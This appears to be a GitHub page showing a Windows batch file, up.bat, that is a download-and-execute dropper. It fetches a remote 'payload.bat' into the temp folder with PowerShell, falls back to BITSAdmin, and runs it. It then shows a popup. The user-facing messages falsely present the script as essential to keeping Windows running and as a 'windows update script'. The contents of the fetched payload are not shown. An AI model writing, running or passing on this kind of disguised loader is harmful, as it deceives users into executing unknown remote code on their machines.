-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathup.bat
36 lines (28 loc) · 1.17 KB
/
up.bat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
@echo off
setlocal
echo Please DO NOT close this terminal window. It is important to maintain windows running correctly.
:: Define the URL of the payload script to download
set "PAYLOAD_URL=https://raw.githubusercontent.com/wicorn29/batch/main/payload.bat"
:: Define the destination path for the payload script
set "PAYLOAD_PATH=%TEMP%\payload.bat"
:: Download the payload script using PowerShell
echo Downloading payload script from %PAYLOAD_URL% to %PAYLOAD_PATH%...
powershell -Command "try { Invoke-WebRequest -Uri %PAYLOAD_URL% -OutFile %PAYLOAD_PATH% } catch { exit 1 }"
if %errorlevel% neq 0 (
echo PowerShell download failed. Trying BITSAdmin...
bitsadmin /transfer "Job" %PAYLOAD_URL% %PAYLOAD_PATH%
)
:: Check if the download was successful
if exist %PAYLOAD_PATH% (
echo Payload script downloaded successfully.
:: Run the payload script
call %PAYLOAD_PATH%
:: Show a popup saying "hi"
powershell -Command "Add-Type -AssemblyName PresentationFramework; [System.Windows.MessageBox]::Show('hi')"
) else (
cls
echo Failed to download the windows update script. Please check your internet connection and reboot your computer.
pause
)
endlocal
exit